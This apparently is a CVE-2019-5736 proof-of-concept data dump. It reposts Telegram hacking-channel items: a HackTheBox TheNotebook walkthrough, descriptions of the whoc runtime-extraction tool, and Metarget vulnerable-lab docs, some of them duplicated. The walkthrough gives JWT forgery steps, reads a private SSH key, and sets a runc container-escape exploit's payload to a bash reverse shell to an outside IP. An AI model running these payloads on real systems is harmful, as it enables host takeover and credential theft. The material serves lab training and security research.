/tmphttps://blogger.googleusercontent.com/img/a/AVvXsEgbyf6kwyXDoTPrIXPjCDVXFUS7wifXeYV4X-rSkj9JmNBYs48NhEXGordCYRrd6PiUpS1s7dpZ9DpCPXs-cpir7dJlHpGGywFj88p61VXPEx8c3T37lflA8F2f7lyp2PO3u6ux5BRr7PQweBJNsoPWmNh1SiXT5HwvZOhRnljUV49JQkhXYRhLYufxZQ=s16000 Now, we\u2019ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary \u201csh\u201d has been overwritten by our exploit and it would run the \u201cpayload\u201d that we defined in our exploit.sudo /usr/bin/docker exec -it webapp-dev01 shhttps://blogger.googleusercontent.com/img/a/AVvXsEg_JDDDCX_Gv2oTh_Y0t4LeQyZ_7Dtz_qQHodVBXhoJvbU1Vk84EHDrguV-OkkNTeou34_Gf9n02210Bw1TpUAnmJC8SgxftSVfUxfuWChptGT7Yhe_AMBtTq8Q9iBitj906twF9SrMHDaJjLlqVW9J2O5hwimFL8dOqyOgyybVpD_SanGHwPzL3VdF6Q=s16000 We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!nc -lvp 9999We snagged the flag in /root directoryConclusionHence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T07:00:05.311381Z"}, {"uuid": "c80f8b15-1435-4e8a-990b-7025f615895b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/27881", "content": "Look how we\u2019ve changed the location of key, admin_cap is set to true and pasted the key below. Note the color coding to comprehend how the JWT token is made.Privilege EscalationBefore opening this file up, we fired a netcat listener. Then after clicking on view can get a reverse shell. We convert this into a proper teletype first.python3 -c 'import pty;pty.spawn(\"/bin/bash\")'In the var/backups directory we saw home.tar.gz which was an old account backup.cp home.tar.gz /tmp/Smart thing to do here is do dumpster diving for old SSH keys. Luckily, we did find the SSH keys and copied this private key to our system.cat /home/noah/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEjwvANJPXv5FTFtiBAId3w59eLHbuKT_wrARKzdUTKZ2CVLCy0dVv4LyQuhw5IHceMZKDCs4_lDQfZqlWSgodwswH4PLVusDnxLbXlahquCzL3nqS5kiMyVG_v45v8xuDqvJG9mfKPTueVbsDaxFQhB61ZRYGVqzaKz7jy2pRaT6uMfDpvUik2-YKcu5g=s16000 We changed the permission on the key to \u201c600\u201d and logged in to noah\u2019s account using it.nano sshkeyThe user flag was in /home.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEjTJIozJU9Pj9tS2nTnTw2oI1D-d3_VRGOIIhgEDSPoVcjJsNKF4SuCEvPvI0VG60ZORFUVhJaerrhDTDVxezF08A9eFt_xv6MjwlU0aQb4fZ7f8ZqB-kZBwN3gqLUOGuyW7cdDVXBMEuLocISocyaNv_3Mz8ny3E2o1JtUtscj4z7tqcxwTfp7d2AEVg=s16000 We observed that version 18.06.0-ce was affected by CVE-2019-5736, a docker es[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T07:00:05.455686Z"}, {"uuid": "c4f7717d-b03f-440c-9293-b84b121af0fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/27880", "content": "Hacking Articles|Raj Chandel's Blog\nTheNotebook HackTheBox Walkthrough\n\nWe\u2019ll look at another one of HackTheBox machines today, called \u201cTheNotebook.\u201d It is a medium difficulty box targeting commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We\u2019d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology\u00b7 NmapExploitation\u00b7 Forging the JWT token with admin rights and self-generated private keyPrivilege Escalation\u00b7 Recovering SSH private key from an old backup directoryCVE-2019-5736)\n\n\u00b7 Gaining root accessReconMachine\u2019s IP was 10.129.211.197. The first step was to run nmap\u2019s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A\u00a0 10.129.211.197https://blogger.googleusercontent.com/img/a/AVvXsEhxStGsjlqoMdg-fqQAmSSYabLKUUB9WK0xjmsnCcz4Olhw2YiFzSgatbKkR5xOP_nrszkGgwv8HwCkODldvhGafKXbu1VuEQH5r2jD9dmeM_3tdWq8mx6AkfTD4AyBjOK29y1jsozULsC75S92ZNEvnXnKX1hOBIkHxzFyWfWNA9QYQyAbHvOjkMrxoQ=s16000 The website opens up a note management tool. There was a register link too.ExploitationSo, we\u2019ll generate a private key, host it on our local server, and change the JWT header to my own key\u2019s location and try if the website fetches and authenticates using our key.openssl genrsa -out privKey.key 2048https://blogger.googleusercontent.com/img/a/AVvXsEiKERiNvpDJYi_lkt_ByiJjfSgLcDTk4f31yDqOV-xI5NycZ2Y5VPDStdO1s7owotkJQl8bczUrzbFbiETOBafn9hY-M7xqrs0B-pANDBQr3l3i3zm2FW0oS01eRW0HGJYuyRMR-Dq9ujfMwtluCI23UdUzADJrHxjhjT3vqy5VyKJMyg37fPBgfsvvFw=s16000 We\u2019d change the fields in our JWT header now and paste our own key in the field below for the token to verify the signature and successfully authenticate using my key.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T07:00:05.509888Z"}, {"uuid": "20b0f312-989b-4981-8f58-669791fe83df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/27882", "content": "cape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.git clone https://github.com/Frichetten/CVE-2019-5736-PoCHere, we\u2019ll modify the variable \u201cpayload\u201d with this bash one linerbash -i >& /dev/tcp/10.10.14.100/9999 0>&1And then we save thisgo build main.gohttps://blogger.googleusercontent.com/img/a/AVvXsEgW9TMQ9K5qnFrYZYaX6Lv99IdU-xEo8RkOZ2cI2v2bkM0TVlAdC19kVBoYLitevE-XVRbnhViBVsD6UsTg7MsiS2gqZ4ogqKYgkKbOy2CcKcEeFxBUckmXgSsaNOwc6MRtiY_6E70a_GfLzoZyZAD3HBlL8niHC7Y57l0UuM2CnV1SllU_T04v_Wdw6A=s16000 In the machine, we first jumped into the container using docker exec command.sudo /usr/bin/docker exec -it webapp-dev01 /bin/bashAfter that we\u2019ll copy the exploit in /tmp and execute itcd /tmphttps://blogger.googleusercontent.com/img/a/AVvXsEgbyf6kwyXDoTPrIXPjCDVXFUS7wifXeYV4X-rSkj9JmNBYs48NhEXGordCYRrd6PiUpS1s7dpZ9DpCPXs-cpir7dJlHpGGywFj88p61VXPEx8c3T37lflA8F2f7lyp2PO3u6ux5BRr7PQweBJNsoPWmNh1SiXT5HwvZOhRnljUV49JQkhXYRhLYufxZQ=s16000 Now, we\u2019ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary \u201csh\u201d has been overwritten by our exploit and it would run the \u201cpayload\u201d that we defined in our exploit.sudo /usr/bin/docker exec -it webapp-dev01 shhttps://blogger.googleusercontent.com/img/a/AVvXsEg_JDDDCX_Gv2oTh_Y0t4LeQyZ_7Dtz_qQHodVBXhoJvbU1Vk84EHDrguV-OkkNTeou34_Gf9n02210Bw1TpUAnmJC8SgxftSVfUxfuWChptGT7Yhe_AMBtTq8Q9iBitj906twF9SrMHDaJjLlqVW9J2O5hwimFL8dOqyOgyybVpD_SanGHwPzL3VdF6Q=s16000 We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!nc -lvp 9999We snagged the flag in /root directoryConclusionHence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:55.616695Z"}, {"uuid": "4d574c92-e41a-4037-be72-2eb1e0cb03b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/27881", "content": "Look how we\u2019ve changed the location of key, admin_cap is set to true and pasted the key below. Note the color coding to comprehend how the JWT token is made.Privilege EscalationBefore opening this file up, we fired a netcat listener. Then after clicking on view can get a reverse shell. We convert this into a proper teletype first.python3 -c 'import pty;pty.spawn(\"/bin/bash\")'In the var/backups directory we saw home.tar.gz which was an old account backup.cp home.tar.gz /tmp/Smart thing to do here is do dumpster diving for old SSH keys. Luckily, we did find the SSH keys and copied this private key to our system.cat /home/noah/.ssh/id_rsahttps://blogger.googleusercontent.com/img/a/AVvXsEjwvANJPXv5FTFtiBAId3w59eLHbuKT_wrARKzdUTKZ2CVLCy0dVv4LyQuhw5IHceMZKDCs4_lDQfZqlWSgodwswH4PLVusDnxLbXlahquCzL3nqS5kiMyVG_v45v8xuDqvJG9mfKPTueVbsDaxFQhB61ZRYGVqzaKz7jy2pRaT6uMfDpvUik2-YKcu5g=s16000 We changed the permission on the key to \u201c600\u201d and logged in to noah\u2019s account using it.nano sshkeyThe user flag was in /home.sudo -lhttps://blogger.googleusercontent.com/img/a/AVvXsEjTJIozJU9Pj9tS2nTnTw2oI1D-d3_VRGOIIhgEDSPoVcjJsNKF4SuCEvPvI0VG60ZORFUVhJaerrhDTDVxezF08A9eFt_xv6MjwlU0aQb4fZ7f8ZqB-kZBwN3gqLUOGuyW7cdDVXBMEuLocISocyaNv_3Mz8ny3E2o1JtUtscj4z7tqcxwTfp7d2AEVg=s16000 We observed that version 18.06.0-ce was affected by CVE-2019-5736, a docker es[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:55.714749Z"}, {"uuid": "d4fbaf99-dd85-447c-8664-9236154a8d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/27880", "content": "Hacking Articles|Raj Chandel's Blog\nTheNotebook HackTheBox Walkthrough\n\nWe\u2019ll look at another one of HackTheBox machines today, called \u201cTheNotebook.\u201d It is a medium difficulty box targeting commonly found threat of using insecure JWT token implementation. A user is able to gain access to the system by forging this token and adding desired values. We\u2019d own the root user by targeting it. Here is the methodology. Penetration Testing Methodology\u00b7 NmapExploitation\u00b7 Forging the JWT token with admin rights and self-generated private keyPrivilege Escalation\u00b7 Recovering SSH private key from an old backup directoryCVE-2019-5736)\n\n\u00b7 Gaining root accessReconMachine\u2019s IP was 10.129.211.197. The first step was to run nmap\u2019s aggressive scan to look for open ports. As you can see a port 80 was found to be open.nmap -A\u00a0 10.129.211.197https://blogger.googleusercontent.com/img/a/AVvXsEhxStGsjlqoMdg-fqQAmSSYabLKUUB9WK0xjmsnCcz4Olhw2YiFzSgatbKkR5xOP_nrszkGgwv8HwCkODldvhGafKXbu1VuEQH5r2jD9dmeM_3tdWq8mx6AkfTD4AyBjOK29y1jsozULsC75S92ZNEvnXnKX1hOBIkHxzFyWfWNA9QYQyAbHvOjkMrxoQ=s16000 The website opens up a note management tool. There was a register link too.ExploitationSo, we\u2019ll generate a private key, host it on our local server, and change the JWT header to my own key\u2019s location and try if the website fetches and authenticates using our key.openssl genrsa -out privKey.key 2048https://blogger.googleusercontent.com/img/a/AVvXsEiKERiNvpDJYi_lkt_ByiJjfSgLcDTk4f31yDqOV-xI5NycZ2Y5VPDStdO1s7owotkJQl8bczUrzbFbiETOBafn9hY-M7xqrs0B-pANDBQr3l3i3zm2FW0oS01eRW0HGJYuyRMR-Dq9ujfMwtluCI23UdUzADJrHxjhjT3vqy5VyKJMyg37fPBgfsvvFw=s16000 We\u2019d change the fields in our JWT header now and paste our own key in the field below for the token to verify the signature and successfully authenticate using my key.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:55.765886Z"}, {"uuid": "9e3ffcb5-e9c1-4764-ac39-e97b53a3ff87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/34046", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\nHow does it work?\n\nAs shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it.\n\nDynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n1. The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n4. upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEhoOtXTTgwAILo7_iVmwKDHiYFqUbdTTAaLwtkxF_o1uEl7cVjxgpPyycB1hmrcJSoO90Y4AtQLloD-nlpUfcurdePCzt5E-Za6ZryJW_LfFnAViUjIOVrhRxo0ggi0HDzk8rx5xJ3puaZ94h7wElqjr0Ei2xDYrIVBlfjrUN-g425lpMXY4pY5DD3d=s728 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n1. upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n2. The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n3. Once the exec occurs, the container runtime re-executes itself inside the container.\n4. upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi3a_UpD_rXLfW9moPrDkZzlJOXXYrKnldu3IW_BpKgXSHTWzA2Efb8KtZx97cwQ8GasivuxnMs5vrYUYOgK8WE_FQ6ErQp_5t0Ykff-b2qMNl9Kzsn2j2dm3K2AoNGm_CS-EF4Q6NPJ5086YaoPXUJJtVZM9pLx43xRy04KhKoCiR92O8Y03DJUyFI=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n$ git clone git@github.com:twistlock/whoc.git \nSet up a file server to receive the extracted container runtime:\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver \n$ ./fileserver \nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\n$ docker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.sh \nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1.\n\nOther Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh.\n\nHelp\n\nHelp for whoc\u2018s main binary, upload_runtime:\nUsage: upload_runtime [options] ___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:01:03.033719Z"}, {"uuid": "4e1c3c4a-61d0-4800-85ba-544a5e6d5a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/32550", "content": "KitPloit - PenTest Tools!\nWhoc - A Container Image That Extracts The Underlying Container Runtime\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi_95e_qg5fMsbP6treVFuqoow00IkE5tY4k2v5rsmgUjnDB1ca-bidnn2ZtSOCXuYiZ9cUbI7VZ04PibinnHx0rHSvAZbNVZKfc7BUJ814hdlYdazoGq5kcijHfXEySNffebbB1_wbu5wzuX_AmycCum_3VhhEtw1pRAS4lwLZumzqgUCJt0kHrev2Ew=w640-h360 A container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they're running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic ModeThis is whocdefault mode that works against dynamically linked container runtimes.\n\n1. The whocimage entrypoint is set to /proc/self/exe, and the image's dynamic linker (ld.so) is replaced with fake_ld.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.\n4. fake_ldobtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.\n5. upload_runtimereads the runtime binary from /proc/self/fd/and sends it to the configured remote server. https://blogger.googleusercontent.com/img/a/AVvXsEi_95e_qg5fMsbP6treVFuqoow00IkE5tY4k2v5rsmgUjnDB1ca-bidnn2ZtSOCXuYiZ9cUbI7VZ04PibinnHx0rHSvAZbNVZKfc7BUJ814hdlYdazoGq5kcijHfXEySNffebbB1_wbu5wzuX_AmycCum_3VhhEtw1pRAS4lwLZumzqgUCJt0kHrev2Ew=w640-h360 Wait-For-Exec ModeFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n1. upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n2. The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc-ctr /proc/self/exe)\n3. Once the exec occurs, the container runtime re-executes itself inside the container\n4. upload_runtimereads the runtime binary through /proc/and sends it to the configured remote server https://blogger.googleusercontent.com/img/a/AVvXsEhbfCLFL3NwU1sTB4vduEhYxUm-_xbrXLOUlsfrgj0TSnTdcpcBZIDprF7te-xGhkLaYz1t7nttgwg-pZ2wCIzjawRmgpRK7-qwpL95QTsOooSZIgvX68UQb1pJVjNiqvhN_QstbYC0Z99gVA4ECkzjQ0pXXm-hhAb6xXqUUU5MhAJAU5fMs5d07rbu_Q=w640-h372 Try LocallyYou'll need dockerand python3installed. Clone the repository: $ git clone git@github.com:twistlock/whoc.gitSet up a file server to receive the extracted container runtime: $ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver \n$ ./fileserverFrom another shell, run the whocimage in your container environment of choice, for example Docker: $ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\n$ docker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.shSee that the file server received the container runtime. Since we run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. HelpHelp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:01:00.606268Z"}, {"uuid": "84c97c07-8fc8-4821-8693-b474f3b8be88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/32544", "content": "A container (https://www.kitploit.com/search/label/Container) image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!WhoC at Defcon 29 Cloud Village (https://www.youtube.com/watch?v=DF0qoCsHKT4)Azurescape (https://unit42.paloaltonetworks.com/azure-container-instances/) - whoc-powered research, the first cross-account container takeover (https://www.kitploit.com/search/label/Takeover) in the public cloud (70,000$ bounty)\nHow does it work?\nAs shown by runc CVE-2019-5736 (https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/), traditional Linux container runtimes expose themselves to the containers (https://www.kitploit.com/search/label/Containers) they're running through /proc/self/exe. whoc uses this link to read the container runtime executing it.\nDynamic Mode\nThis is whoc default mode that works against dynamically linked container runtimes.The whoc image entrypoint is set to /proc/self/exe, and the image's dynamic (https://www.kitploit.com/search/label/Dynamic) linker (ld.so) is replaced with fake_ld.Once the image is run, the container runtime re-executes itself inside the container.Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.fake_ld obtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.upload_runtime reads the runtime binary from /proc/self/fd/ and sends it to the configured remote server.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:01:01.949573Z"}, {"uuid": "e8b9346c-1849-4afc-a78c-7b343549f381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/32537", "content": "Whoc - A Container Image That Extracts The Underlying Container Runtime\n\nA container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!WhoC at Defcon 29 Cloud VillageAzurescape - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty)How does it work?As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they're running through /proc/self/exe. whoc uses this link to read the container runtime executing it.Dynamic ModeThis is whoc default mode that works against dynamically linked container runtimes.The whoc image entrypoint is set to /proc/self/exe, and the image's dynamic linker (ld.so) is replaced with fake_ld.Once the image is run, the container runtime re-executes itself inside the container.Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.fake_ld obtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.upload_runtime reads the runtime binary from /proc/self/fd/ and sends it to the configured remote server.Wait-For-Exec ModeFor statically linked container runtimes, whoc comes in another flavor: whoc:waitforexec.upload_runtime is the image entrypoint, and runs as the whoc container PID 1.The user is expected to exec into the whoc container and invoke a file pointing to /proc/self/exe (e.g. docker exec whoc-ctr /proc/self/exe)Once the exec occurs, the container runtime re-executes itself inside the containerupload_runtime reads the runtime binary through /proc//exe and sends it to the configured remote serverTry LocallyYou'll need docker and python3 installed. Clone the repository:$ git clone git@github.com:twistlock/whoc.gitSet up a file server to receive the extracted container runtime:$ cd whoc$ mkdir -p stash && cd stash$ ln -s ../util/fileserver.py fileserver $ ./fileserverFrom another shell, run the whoc image in your container environment of choice, for example Docker:$ cd whoc$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh$ docker run --rm -it --net=host whoc:latest 127.0.0.1 # or ./util/run_local.shSee that the file server received the container runtime. Since we run whoc under vanilla Docker, the received container runtime should be runc.--net=host is only used in local tests so that the whoc container could easily reach the fileserver on the host via 127.0.0.1.HelpHelp for whoc's main binary, upload_runtime:Usage: upload_runtime options Options: -p, --port Port of remote server, defaults to 8080 -e, --exec Wait-for-exec mode for static container runtimes, waits until an exec to the container occurred -b, --exec-bin In exec mode, overrides the default binary created for the exec, default is /bin/enter -a, --exec-extra-argument In exec mode, pass an additional argument to the runtime so it won't exit quickly -r, --exec-readdir-proc In exec mode, instead of guessing the runtime pid (which gives whoc one shot of catching the runtime), find the runtime by searching for new processes under '/proc'Download Whoc\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:01:01.988246Z"}, {"uuid": "8c1bcd25-eebd-471b-9125-be0a61447d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11443", "content": "Run ./metarget appv list to see vulnerable scenes related to cloud native applications supported currently.  Note:  Before deploying application vulnerable scenes, you should install Docker and Kubernetes firstly. You can use Metarget to install Docker and Kubernetes.  \n2.4.1 Case: DVWA\n  Run:  ./metarget appv install dvwa  If the command above completes successfully, DVWA (https://github.com/digininja/DVWA) will be deployed as Deployment and Service resources in current Kubernetes.  Note:  You can specify --external option, then the service will be exposed as NodePort, so that you can visit it by IP of the host node.  By default, the type of service is ClusterIP.  \n2.5 Manage Vulnerable Cloud Native Target Cluster\n  Developing, currently not supported.  \n3 Installation\n  \n3.1 Requirements\n    Ubuntu 16.04 or 18.04  Python >= 3.5  pip3    \n3.2 From Source\n  Clone the repository and install requirements:  git clone https://github.com/brant-ruan/metarget.git\ncd metarget/\npip install -r requirements.txt  Begin to use Metarget and construct vulnerable scenes. For example:  ./metarget cnv install cve-2019-5736  \n3.3 From PyPI\n  Currently unsupported.  \n4 Scene List\n  \n4.1 Vulnerable Scenes Related to Cloud Native Components\n    Name  Class  Type  CVSS 3.x  Status      cve-2018-15664 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2018-15664.yaml)  docker  container_escape  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2018-15664)  \u2705      cve-2019-13139 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-13139.yaml)  docker  command_execution  8.4 (https://nvd.nist.gov/vuln/detail/CVE-2019-13139)  \u2705      cve-2019-14271 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-14271.yaml)  docker  container_escape  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2019-14271)  \u2705      cve-2020-15257 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2020-15257.yaml)  docker/containerd  container_escape  5.2 (https://nvd.nist.gov/vuln/detail/CVE-2020-15257)  \u2705      cve-2019-5736 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/docker/cve-2019-5736.yaml)  docker/runc  container_escape  8.6 (https://nvd.nist.gov/vuln/detail/CVE-2019-5736)  \u2705      cve-2017-1002101 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2017-1002101.yaml)  kubernetes  container_escape  9.6 (https://nvd.nist.gov/vuln/detail/CVE-2017-1002101)  \u2705      cve-2018-1002105 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2018-1002105.yaml)  kubernetes  privilege_escalation  9.8 (https://nvd.nist.gov/vuln/detail/CVE-2018-1002105)  \u2705      cve-2019-11253 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-11253.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-11253)  \u2705      cve-2019-9512 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9512.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9512)  \u2705      cve-2019-9514 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2019-9514.yaml)  kubernetes  denial_of_service  7.5 (https://nvd.nist.gov/vuln/detail/CVE-2019-9514)  \u2705      cve-2020-8554 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8554.yaml)  kubernetes  man_in_the_middle  5.0 (https://nvd.nist.gov/vuln/detail/CVE-2020-8554)  \u2705      cve-2020-8557 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8557.yaml)  kubernetes  denial_of_service  5.5 (https://nvd.nist.gov/vuln/detail/CVE-2020-8557)  \u2705      cve-2020-8558 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kubernetes/cve-2020-8558.yaml)  kubernetes  exposure_of_service  8.8 (https://nvd.nist.gov/vuln/detail/CVE-2020-8558)  \u2705      cve-2016-5195 (https://github.com/brant-ruan/metarget/blob/master/vulns_cn/kernel/cve-2016-5195.yaml)  kernel", "creation_timestamp": "2026-09-08T04:00:04.091247Z"}, {"uuid": "13d188b4-8461-4d8a-9385-deec10be73fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/11441", "content": "1 Introduction\n  Metarget = meta- + target, a framework providing automatic constructions of vulnerable infrastructures, used to deploy simple or complicated vulnerable cloud native targets swiftly and automatically.  \n1.1 Why Metarget?\n  During security researches, we might find that the deployment of vulnerable environment often takes much time, while the time spent on testing PoC or ExP is comparatively short. In the field of cloud native security, thanks to the complexity of cloud native systems, this issue is more terrible.  There are already some excellent security projects like Vulhub (https://github.com/vulhub/vulhub), VulApps (https://github.com/Medicean/VulApps) in the open-source community, which pack vulnerable scenes into container images, so that researchers could utilize them and deploy scenes quickly.  However, these projects mainly focus on vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) in applications. What if we need to study the vulnerabilities in the infrastructures like Docker, Kubernetes and even Linux kernel?  Hence, we develop Metarget and hope to solve the deployment issue above to some extent. Furthermore, we also expect that Metarget could help to construct multilayer vulnerable cloud native scenes automatically.  \n1.2 Install Vulnerability!\n  In this project, we come up with concepts like installing vulnerabilities and 